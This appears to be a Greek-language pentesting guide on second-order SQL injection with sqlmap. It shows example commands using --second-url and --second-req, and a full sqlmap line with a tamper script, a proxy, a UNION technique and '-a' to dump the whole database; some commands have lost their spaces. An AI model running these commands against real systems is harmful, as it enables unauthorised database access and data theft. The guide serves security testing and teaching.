Το SQLMap μπορεί να εκμεταλλευτεί τις Δεύτερης Τάξης SQLi.
Πρέπει να παρέχετε:
Το αίτημα όπου θα αποθηκευτεί το payload SQL injection
Το αίτημα όπου το payload θα εκτελεστεί
Το αίτημα όπου αποθηκεύεται το payload SQL injection είναι υποδεικνυόμενο όπως σε οποιαδήποτε άλλη ένεση στο sqlmap. Το αίτημα όπου το sqlmap μπορεί να διαβάσει την έξοδο/εκτέλεση της ένεσης μπορεί να υποδειχθεί με --second-url ή με --second-req αν χρειάζεται να υποδείξετε ένα πλήρες αίτημα από ένα αρχείο.
Απλό παράδειγμα δεύτερης τάξης:
#Get the SQL payload execution with a GET to a urlsqlmap-rlogin.txt-pusername--second-url"http://10.10.10.10/details.php"#Get the SQL payload execution sending a custom request from a filesqlmap-rlogin.txt-pusername--second-reqdetails.txt
Σε πολλές περιπτώσεις αυτό δεν θα είναι αρκετό γιατί θα χρειαστεί να εκτελέσετε άλλες ενέργειες εκτός από την αποστολή του payload και την πρόσβαση σε μια διαφορετική σελίδα.
Όταν αυτό είναι απαραίτητο, μπορείτε να χρησιμοποιήσετε ένα sqlmap tamper. Για παράδειγμα, το παρακάτω σενάριο θα καταχωρήσει έναν νέο χρήστη χρησιμοποιώντας το sqlmap payload ως email και θα αποσυνδεθεί.
Ένα SQLMap tamper εκτελείται πάντα πριν ξεκινήσει μια προσπάθεια έγχυσης με ένα payloadκαι πρέπει να επιστρέφει ένα payload. Σε αυτή την περίπτωση δεν μας ενδιαφέρει το payload αλλά μας ενδιαφέρει να στείλουμε κάποιες αιτήσεις, οπότε το payload δεν αλλάζει.
Έτσι, αν για κάποιο λόγο χρειαστούμε μια πιο σύνθετη ροή για να εκμεταλλευτούμε τη δεύτερη τάξη SQL injection όπως:
Δημιουργία λογαριασμού με το SQLi payload μέσα στο πεδίο "email"
Αποσύνδεση
Σύνδεση με αυτόν τον λογαριασμό (login.txt)
Αποστολή αιτήματος για εκτέλεση της SQL injection (second.txt)
Αυτή η γραμμή sqlmap θα βοηθήσει:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
########### --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload# -r login.txt : Indicates the request to send the SQLi payload# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt# --second-req second.txt : Request to send to execute the SQLi and get the ouput# --proxy http://127.0.0.1:8080 : Use this proxy# --technique=U : Help sqlmap indicating the technique to use# --dbms mysql : Help sqlmap indicating the dbms# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln# -a : Dump all